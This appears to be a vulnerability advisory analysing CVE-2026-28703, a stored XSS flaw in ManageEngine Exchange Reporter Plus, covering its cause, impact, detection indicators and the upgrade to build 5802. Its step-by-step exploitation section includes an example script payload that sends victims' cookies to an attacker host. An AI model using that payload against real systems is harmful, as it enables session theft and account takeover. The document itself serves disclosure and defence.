CVE-2026-28703: 
Zoho ManageEngine Exchange Reporter Plus vulnerability analysis and mitigation

CVE-2026-28703 is a Stored Cross-Site Scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus affecting all builds prior to version 5802 (including builds 5800 and 5801). The flaw resides in the "Mails Exchanged Between Users" report within the Reports module, where user-controlled input is not properly sanitized before being rendered in the web interface. The vulnerability was fixed on March 19, 2026, and publicly disclosed on April 3, 2026. It carries a CVSS v3.1 base score of 7.3 (High) per the GitHub Advisory Database, or 4.8 (Medium) per NVD, depending on the scoring interpretation (ManageEngine Advisory, Github Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), where the application fails to sanitize or encode user-supplied data before storing and subsequently rendering it in the "Mails Exchanged Between Users" report page (Github Advisory). An attacker with Exchange administrative privileges within the Exchange organization can inject a malicious script payload into data that populates this report; the payload is persistently stored and executes in the browser of any user who subsequently views the affected report (ManageEngine Advisory). Exploitation requires authentication (low-privilege user per GHSA scoring, or high-privilege Exchange admin per NVD scoring) and victim interaction (viewing the compromised report). The fix was implemented in build 5802 via proper input validation (ManageEngine Advisory).

Successful exploitation allows an authenticated attacker to inject and execute arbitrary JavaScript in the browser sessions of other users who view the compromised report, potentially enabling session token theft, credential harvesting, and unauthorized actions performed on behalf of victims within Exchange Reporter Plus (ManageEngine Advisory). Because the malicious script is stored server-side, it can affect multiple users over time without further attacker interaction. There is no direct availability impact, but confidentiality and integrity of affected user sessions are at risk (Github Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (ManageEngine Advisory). The EPSS score is approximately 0.026% (8th percentile), indicating a low near-term exploitation probability (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access with Exchange administrative privileges, which limits the attacker pool but does not eliminate risk in environments with multiple privileged users.

1. Gain authenticated access: Obtain credentials for an account with Exchange administrative privileges within the Exchange organization that has access to ManageEngine Exchange Reporter Plus.
2. Identify the vulnerable report: Navigate to the Reports module and locate the "Mails Exchanged Between Users" report, which is the injection point for the stored XSS payload.
3. Inject malicious payload: Insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a field that is stored and later rendered unsanitized within the report.
4. Wait for victim interaction: When another user (potentially with higher privileges) views the "Mails Exchanged Between Users" report, the stored script executes automatically in their browser session.
5. Harvest session data or perform actions: The executed script can exfiltrate session cookies, authentication tokens, or perform actions within Exchange Reporter Plus on behalf of the victim user (ManageEngine Advisory, Github Advisory).

• Logs: Unexpected or anomalous entries in Exchange Reporter Plus access logs showing requests to the "Mails Exchanged Between Users" report containing HTML/JavaScript tags or encoded script sequences (e.g., %3Cscript%3E, <script>, onerror=, javascript:).
• Network: Outbound HTTP/HTTPS requests from victim browsers to unknown external domains shortly after accessing the affected report, potentially carrying cookie or session data as query parameters.
• Application Behavior: Users reporting unexpected redirects, pop-ups, or browser behavior when viewing the "Mails Exchanged Between Users" report in Exchange Reporter Plus builds 5801 or earlier.
• File System: Review stored report data or database entries in Exchange Reporter Plus for embedded script tags or JavaScript event handlers in fields associated with the Mails Exchanged Between Users report.

Zohocorp has resolved this vulnerability in ManageEngine Exchange Reporter Plus build 5802, released March 19, 2026, by implementing proper input validation (ManageEngine Advisory). Organizations should immediately upgrade to build 5802 or later using the available service pack. As interim measures, restrict access to Exchange Reporter Plus to trusted and necessary users only, implement Content Security Policy (CSP) headers to limit XSS impact, and monitor user accounts for suspicious activity or unauthorized report access.

The vulnerability was reported to Zohocorp by security researcher C311 through the Zoho BugBounty program (ManageEngine Advisory). A brief mention was noted on Bluesky social media shortly after disclosure, but no significant broader community discussion or media coverage has been identified. Overall industry reaction has been minimal, consistent with the moderate severity and limited exploitability of the vulnerability.